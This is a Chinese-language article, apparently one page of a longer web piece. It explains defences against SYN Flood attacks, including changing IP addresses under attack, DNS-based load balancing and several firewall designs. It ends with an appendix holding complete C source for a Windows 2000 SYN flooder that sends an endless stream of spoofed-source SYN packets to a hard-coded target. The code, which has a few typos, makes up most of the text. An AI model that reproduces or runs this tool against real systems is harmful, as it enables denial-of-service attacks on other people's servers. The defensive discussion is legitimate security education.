剖析SYN Flood攻击

　　退让策略是基于SYN Flood攻击代码的一个缺陷，我们重新来分析一下SYN Flood攻击者的流程：SYN Flood程序有两种攻击方式，基于IP的和基于域名的，前者是攻击者自己进行域名解析并将IP地址传递给攻击程序，后者是攻击程序自动进行域名解析，但是它们有一点是相同的，就是一旦攻击开始，将不会再进行域名解析，我们的切入点正是这里：假设一台服务器在受到SYN Flood攻击后迅速更换自己的IP地址，那么攻击者仍在不断攻击的只是一个空的IP地址，并没有任何主机，而防御方只要将DNS解析更改到新的IP地址就能在很短的时间内（取决于DNS的刷新时间）恢复用户通过域名进行的正常访问。为了迷惑攻击者，我们甚至可以放置一台“牺牲”服务器让攻击者满足于攻击的“效果”（由于DNS缓冲的原因，只要攻击者的浏览器不重起，他访问的仍然是原先的IP地址）。

同样的原因，在众多的负载均衡架构中，基于DNS解析的负载均衡本身就拥有对SYN Flood的免疫力，基于DNS解析的负载均衡能将用户的请求分配到不同IP的服务器主机上，攻击者攻击的永远只是其中一台服务器，虽然说攻击者也能不断去进行DNS请求从而打破这种“退让”策略，但是一来这样增加了攻击者的成本，二来过多的DNS请求可以帮助我们追查攻击者的真正踪迹（DNS请求不同于SYN攻击，是需要返回数据的，所以很难进行IP伪装）。

　　对于防火墙来说，防御SYN Flood攻击的方法取决于防火墙工作的基本原理，一般说来，防火墙可以工作在TCP层之上或IP层之下，工作在TCP层之上的防火墙称为网关型防火墙，网关型防火墙与服务器、客户机之间的关系如下所示：

　　如上图所示，客户机与服务器之间并没有真正的TCP连接，客户机与服务器之间的所有数据交换都是通过防火墙代理的，外部的DNS解析也同样指向防火墙，所以如果网站被攻击，真正受到攻击的是防火墙，这种防火墙的优点是稳定性好，抗打击能力强，但是因为所有的TCP报文都需要经过防火墙转发，所以效率比较低由于客户机并不直接与服务器建立连接，在TCP连接没有完成时防火墙不会去向后台的服务器建立新的TCP连接，所以攻击者无法越过防火墙直接攻击后台服务器，只要防火墙本身做的足够强壮，这种架构可以抵抗相当强度的SYN Flood攻击。但是由于防火墙实际建立的TCP连接数为用户连接数的两倍（防火墙两端都需要建立TCP连接），同时又代理了所有的来自客户端的TCP请求和数据传送，在系统访问量较大时，防火墙自身的负荷会比较高，所以这种架构并不能适用于大型网站。（我感觉，对于这样的防火墙架构，使用TCP_STATE攻击估计会相当有效:）

　　工作在IP层或IP层之下的防火墙（路由型防火墙）工作原理有所不同，它与服务器、客户机的关系如下所示：

　　客户机直接与服务器进行TCP连接，防火墙起的是路由器的作用，它截获所有通过的包并进行过滤，通过过滤的包被转发给服务器，外部的DNS解析也直接指向服务器，这种防火墙的优点是效率高，可以适应100Mbps-1Gbps的流量，但是这种防火墙如果配置不当，不仅可以让攻击者越过防火墙直接攻击内部服务器，甚至有可能放大攻击的强度，导致整个系统崩溃。

　　在这两种基本模型之外，有一种新的防火墙模型，我个人认为还是比较巧妙的，它集中了两种防火墙的优势，这种防火墙的工作原理如下所示：

第一阶段，客户机请求与防火墙建立连接：

第二阶段，防火墙伪装成客户机与后台的服务器建立连接

第三阶段，之后所有从客户机来的TCP报文防火墙都直接转发给后台的服务器

　　这种结构吸取了上两种防火墙的优点，既能完全控制所有的SYN报文，又不需要对所有的TCP数据报文进行代理，是一种两全其美的方法。

　　近来，国外和国内的一些防火墙厂商开始研究带宽控制技术，如果能真正做到严格控制、分配带宽，就能很大程度上防御绝大多数的拒绝服务攻击，我们还是拭目以待吧。
附录：Win2000下的SYN Flood程序
改编自Linux下Zakath编写的SYN Flooder
编译环境：VC++6.0,编译时需要包含ws2_32.lib
//////////////////////////////////////////////////////////////////////////
//                                               //
// SYN Flooder For Win2K by Shotgun                         //
//                                               //
// THIS PROGRAM IS MODIFIED FROM A LINUX VERSION BY Zakath         //
// THANX Lion Hook FOR PROGRAM OPTIMIZATION                   //
//                                               //
// Released: [2001.4]                                 //
// Author: [Shotgun]                               //
// Homepage:                                       //
//   [http://IT.Xici.Net]                         //
//   [http://WWW.Patching.Net]                     //
//                                               //
//////////////////////////////////////////////////////////////////////////
#include
#include
#include
#include
#define SEQ 0x28376839
#define SYN_DEST_IP "192.168.15.250"//被攻击的IP
#define FAKE_IP "10.168.150.1" //伪装IP的起始值，本程序的伪装IP覆盖一个B类网段
#define STATUS_FAILED 0xFFFF //错误返回值
typedef struct _iphdr   //定义IP首部
{
unsigned char h_verlen;   //4位首部长度,4位IP版本号
unsigned char tos;   //8位服务类型TOS
unsigned short total_len; //16位总长度（字节）
unsigned short ident;   //16位标识
unsigned short frag_and_flags; //3位标志位
unsigned char ttl;   //8位生存时间 TTL
unsigned char proto;   //8位协议 (TCP, UDP 或其他)
unsigned short checksum; //16位IP首部校验和
unsigned int sourceIP;   //32位源IP地址
unsigned int destIP;   //32位目的IP地址
}IP_HEADER;
struct     //定义TCP伪首部
{
unsigned long saddr; //源地址
unsigned long daddr; //目的地址
char mbz;
char ptcl;   //协议类型
unsigned short tcpl; //TCP长度
}psd_header;
typedef struct _tcphdr   //定义TCP首部
{
USHORT th_sport;   //16位源端口
USHORT th_dport;   //16位目的端口
unsigned int th_seq;   //32位序列号
unsigned int th_ack;   //32位确认号
unsigned char th_lenres; //4位首部长度/6位保留字
unsigned char th_flag;   //6位标志位
USHORT th_win;   //16位窗口大小
USHORT th_sum;   //16位校验和
USHORT th_urp;   //16位紧急数据偏移量
}TCP_HEADER;
//CheckSum:计算校验和的子函数
USHORT checksum(USHORT *buffer, int size)
{
unsigned long cksum=0;
  while(size >1) {
cksum+=*buffer++;
size -=sizeof(USHORT);
}
if(size ) {
cksum += *(UCHAR*)buffer;
}
cksum = (cksum >> 16) + (cksum & 0xffff);
cksum += (cksum >>16);
return (USHORT)(~cksum);
}
// SynFlood主函数
int main()
{
int datasize,ErrorCode,counter,flag,FakeIpNet,FakeIpHost;
int TimeOut=2000,SendSEQ=0;
char SendBuf[128]={0};
char RecvBuf[65535]={0};
WSADATA wsaData;
SOCKET SockRaw=(SOCKET)NULL;
struct sockaddr_in DestAddr;
IP_HEADER ip_header;
TCP_HEADER tcp_header;
//初始化SOCK_RAW
if((ErrorCode=WSAStartup(MAKEWORD(2,1),&wsaData))!=0){
fprintf(stderr,"WSAStartup failed: %d\n",ErrorCode);
ExitProcess(STATUS_FAILED);
}
SockRaw=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED));
if (SockRaw==INVALID_SOCKET){
fprintf(stderr,"WSASocket() failed: %d\n",WSAGetLastError());
ExitProcess(STATUS_FAILED);
}
flag=TRUE;
//设置IP_HDRINCL以自己填充IP首部
ErrorCode=setsockopt(SockRaw,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(int));
If (ErrorCode==SOCKET_ERROR) printf("Set IP_HDRINCL Error!\n");
__try{
//设置发送超时
ErrorCode=setsockopt(SockRaw,SOL_SOCKET,SO_SNDTIMEO,(char*)&TimeOut,sizeof(TimeOut));
if(ErrorCode==SOCKET_ERROR){
  fprintf(stderr,"Failed to set send TimeOut: %d\n",WSAGetLastError());
  __leave;
}
memset(&DestAddr,0,sizeof(DestAddr));
DestAddr.sin_family=AF_INET;
DestAddr.sin_addr.s_addr=inet_addr(SYN_DEST_IP);
FakeIpNet=inet_addr(FAKE_IP);
FakeIpHost=ntohl(FakeIpNet);
//填充IP首部
ip_header.h_verlen=(4<<4 | sizeof(ip_header)/sizeof(unsigned long));
//高四位IP版本号，低四位首部长度
ip_header.total_len=htons(sizeof(IP_HEADER)+sizeof(TCP_HEADER)); //16位总长度（字节）
ip_header.ident=1;         //16位标识
ip_header.frag_and_flags=0;         //3位标志位
ip_header.ttl=128;         //8位生存时间TTL
ip_header.proto=IPPROTO_TCP;       //8位协议(TCP,UDP…)
ip_header.checksum=0;         //16位IP首部校验和
ip_header.sourceIP=htonl(FakeIpHost+SendSEQ);     //32位源IP地址
ip_header.destIP=inet_addr(SYN_DEST_IP);     //32位目的IP地址
//填充TCP首部
tcp_header.th_sport=htons(7000);       //源端口号
tcp_header.th_dport=htons(8080);       //目的端口号
tcp_header.th_seq=htonl(SEQ+SendSEQ);       //SYN序列号
tcp_header.th_ack=0;         //ACK序列号置为0
tcp_header.th_lenres=(sizeof(TCP_HEADER)/4<<4|0);     //TCP长度和保留位
tcp_header.th_flag=2;         //SYN 标志
tcp_header.th_win=htons(16384);       //窗口大小
tcp_header.th_urp=0;         //偏移
tcp_header.th_sum=0;         //校验和
//填充TCP伪首部（用于计算校验和，并不真正发送）
psd_header.saddr=ip_header.sourceIP;                         //源地址
psd_header.daddr=ip_header.destIP;                         //目的地址
psd_header.mbz=0;
psd_header.ptcl=IPPROTO_TCP;                             //协议类型
psd_header.tcpl=htons(sizeof(tcp_header));                     //TCP首部长度
while(1) {
  //每发送10,240个报文输出一个标示符
  printf(".");
  for(counter=0;counter<10240;counter++){
  if(SendSEQ++==65536) SendSEQ=1;       //序列号循环
  //更改IP首部
  ip_header.checksum=0;       //16位IP首部校验和
  ip_header.sourceIP=htonl(FakeIpHost+SendSEQ);   //32位源IP地址
  //更改TCP首部
  tcp_header.th_seq=htonl(SEQ+SendSEQ);     //SYN序列号
  tcp_header.th_sum=0;       //校验和
  //更改TCP Pseudo Header
  psd_header.saddr=ip_header.sourceIP;  
  //计算TCP校验和，计算校验和时需要包括TCP pseudo header  
  memcpy(SendBuf,&psd_header,sizeof(psd_header));
  memcpy(SendBuf+sizeof(psd_header),&tcp_header,sizeof(tcp_header));
  tcp_header.th_sum=checksum((USHORT *)SendBuf,sizeof(psd_header)+sizeof(tcp_header));
  //计算IP校验和
  memcpy(SendBuf,&ip_header,sizeof(ip_header));
  memcpy(SendBuf+sizeof(ip_header),&tcp_header,sizeof(tcp_header));
  memset(SendBuf+sizeof(ip_header)+sizeof(tcp_header),0,4);
  datasize=sizeof(ip_header)+sizeof(tcp_header);
  ip_header.checksum=checksum((USHORT *)SendBuf,datasize);
  //填充发送缓冲区
  memcpy(SendBuf,&ip_header,sizeof(ip_header));
  //发送TCP报文
  ErrorCode=sendto(SockRaw,
    SendBuf,
    datasize,
    0,
    (struct sockaddr*) &DestAddr,
    sizeof(DestAddr));
if (ErrorCode==SOCKET_ERROR) printf("\nSend Error:%d\n",GetLastError());
  }//End of for
}//End of While
}//End of try
__finally {
if (SockRaw != INVALID_SOCKET) closesocket(SockRaw);
WSACleanup();
}
return 0;
}

[1] [2]

编辑 webmaster